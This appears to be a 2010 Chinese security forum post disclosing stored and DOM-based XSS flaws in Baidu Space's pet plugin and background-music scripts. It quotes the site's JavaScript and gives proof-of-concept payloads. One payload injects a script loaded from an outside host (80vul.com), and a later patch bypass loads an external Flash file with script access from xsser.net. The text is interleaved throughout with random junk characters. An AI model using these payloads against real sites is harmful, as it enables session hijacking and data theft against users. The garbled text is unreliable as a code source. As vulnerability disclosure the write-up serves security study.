百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. % d& M# r: V ~1 w7 b$ M$ \- }
! ~( [+ S g7 k1 A& H: b1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. - x0 r/ |/ V5 n7 P3 A. ^0 t+ ^! V; h
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
. H' C6 ^0 v, V! T( R2 U
" X" C& c& a2 i* X; g将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
- C0 K* N0 S+ s3 X2 r N+ i其中BdUtil.insertWBR为
- Y5 b9 O2 N, s% P, Q" h: J5 Yfunction(text, step) { M+ J9 T1 o- r
var textarea = textAreaCache || getContainer();
* K2 O/ P/ `# n8 `: J' T' S if (!textarea) { 8 t/ u H7 S% M3 B; |0 t
return text;
+ I, [6 x+ U- i: R7 S" J } + _' U7 d+ V) |5 U" R
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
2 h4 q9 y0 x* n6 a9 B9 v# q var string = textarea.value;
+ E* t, C5 i# u0 y/ w: D8 q var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
; [, i6 W" f% j! R ^" z var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); - j# `' d& w" o0 g# f/ O7 _! X
return result; 0 p$ e. z8 N5 |4 {4 Q0 C
}
$ A& C6 U& S9 M( _2 O* \7 d在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. % u4 W2 f! ~+ A9 L7 {5 U& c, ~1 W- @
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> - I; x; s2 w0 l! m( ^
6 Y# d, ^+ r9 Z" M) a |
二:creatbgmusic() Dom-Xss Bug $ |+ D1 O+ H! X2 D
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 3 S6 |( B% o. Q4 t$ F$ n( ^. Y8 }
! N* b$ N$ k5 f
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 6 q/ ~3 Q, ~0 T8 V$ |
5 h. X* l" o# J0 x4 U! Jfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
! V5 q" a. A3 {0 s* M1 [" F //传入的murl赋值到bgmusic1和bgmusic2中
% i4 i( J* W% c, d3 y+ G //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
4 J3 v+ B, s8 U( x; z' U1 l; s var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 5 f2 z. ^: c" }# {) ~% B8 o
if (musicnum <= 1) { 9 S ~* m5 q2 O: k* L2 I S$ N
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; ) A1 P+ a! z! M I. Y
}
& d# ?1 P+ G- F4 N6 T& k" Q6 W bgmusic1 += "</OBJECT>"; $ T5 d1 ?7 p: {: \5 r
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; / M' z& d4 T9 m, K" M
if (musicnum <= 1) {
* W" G/ K1 ]4 A: w( Z; B' t bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; / B) g! R4 Q/ J+ O D( e6 q+ I
}
3 J; {! b$ A8 Q r; D9 P bgmusic2 += "> </EMBED>";
* s/ u2 j& M& p var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; . W$ b" ?3 ^% }0 o) p8 h# T+ h( Q
var bgmus = detectWMP(); 8 U3 U; w( f9 t/ ~& I) c; `! x0 H7 {
if (functype == "FckMusicHelper") {
* e# _& \/ j4 [" C" s if (bgmus.installed) { - t! |; Q$ U2 p3 U5 a6 o |
if (bgmus.type == "IE") { $ c/ ^3 g0 e7 h/ B5 y3 i' H- X$ U
return bgmusic1; 2 B, W* s# o0 i# l( l7 I0 w
} else if (bgmus.type == "NS") {
6 c& B9 C1 |% R& v" `7 g1 h return bgmusic2;
" s/ V6 u5 v* m: b( ~% k } 2 {: c& [* `* T9 z: }5 V+ ~
} else {
. j; w7 F: y$ z% `+ W5 o6 g, q return bgmusic3;
1 i# k8 L( G5 B4 @& S } $ z) O' C; r. t4 u
} else {
i& {) J& s/ |0 v0 P0 P* }/ l) p if (bgmus.installed) { - l# H! w9 E. S
//document.write 直接输出bgmusic变量 导致xss ; d+ H- S4 d G* m* E! n: ]
if (bgmus.type == "IE") { 9 ^* v3 k( w! b, i. }6 c
document.write(bgmusic1);
. @% K' s. K( K! e4 I } else if (bgmus.type == "NS") {
; G- p: ^7 T: B! p document.write(bgmusic2);
~% G# `& U: q } ( T' S5 [7 b* @: V) V& A
} else {
. Y' B. ]! f" S( a* h8 O+ f document.write(bgmusic3); . E& Q( T0 m* o8 [6 n# h, \2 [
} , I' d* H' r9 E% A- }/ n
return ""; & i2 |- Y( q3 o6 l4 y2 U
}
! t! j/ n; o9 G/ I; O+ }* L& J}
T8 m. V- w# F) D* B) H& P8 X' Y& L# E* O
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: & N- I. m8 E$ r+ y) h4 j
2 X* O" R" j; mfunction initBlogTextForFCK(){ 9 H4 ]" D# J8 t! |: r0 x* {
//fck init music , v; ~, L, J, d3 H5 O/ l
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
! a+ P& B: G5 D, Evar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ; [. P C4 q: h. H7 \! m% j
var isAutoPlay=true;
: X# y! M7 C* \" sfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
9 d2 ~" f6 t- M/ y var img=imgBox;
$ z& | C! g( ^! f: _0 Y6 S6 K if(img.getAttribute(’rel’)){ ) B& w& ~( P& v4 P6 {! B7 ?
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
3 C1 A& M& R6 P% U% F% h var musicDiv = document.createElement("SPAN");
7 {' \, ]1 u3 I; P" u4 ] var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 6 q! r8 ?8 z4 W2 ^2 g) n# C
8 `7 E' C! E& i' Q. R
.......................... # F) r) E' z/ D; j3 t
+ \$ P6 y5 B3 ^6 c' I8 } //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. / A7 E- h! s8 A
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
) m, S: C8 m7 {/ w' l' i7 L shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); % ~* q7 \! C( Y
musicDiv.innerHTML=shtml;
; W, p% R" `2 Y- @ i--;n--; 5 |6 w0 {- i% g& U3 b
}
! r: U5 K, G* r4 h, }; T M' f} 2 o- S8 X6 t/ B! A5 E. h
8 ~1 \; K8 h% ^/ }
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. ) g7 ~5 v- p7 P5 f& o
) X" ~, X p/ U2 j, R4 M! e. u
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 9 F- k9 x. y1 n2 s6 h' f% D
; j* l2 ~; c. [/ D2 B6 E
等待官方补丁
: S2 a4 {7 B3 p! g
4 C9 o" F: g v: @update 2010年5月13日 : \6 E: L. a# ~9 m) t' m0 T U
& G! |2 M* t* C2 f x7 p官方补丁: 6 K$ G' x6 E* O' X+ ~# u1 D
- Q$ Y' h1 Y# b& m) J$ r# |' f
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
! K1 b; g- M# z' H! F' N4 i改为:
/ R3 o l( Q! B1 ~ @- |var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
% c/ Q) A! \8 |* q9 t7 Q* d( h0 U5 j' h) c; ]. z' ^" u
update 2010年5月13日 21:50:37
$ x2 P6 w1 \5 R6 T3 M+ Y
* T: l/ B9 C# @8 z4 K补丁存在漏洞 没有过滤" 可以继续跨:
. ^. T4 f" y) a- c# w% R3 E0 S
5 A: M, H. t# {% x) oNEW POC:
x, ~% a6 l' }! w4 F3 ]
' t" m ^0 c9 b2 j1 B0 T! q7 E<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
r6 M! O0 B/ g. A1 X7 d) [
9 p, z# F! A0 Hallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
3 y6 W, D8 s3 f- w7 L , p7 p# p9 \& ~4 U" I
|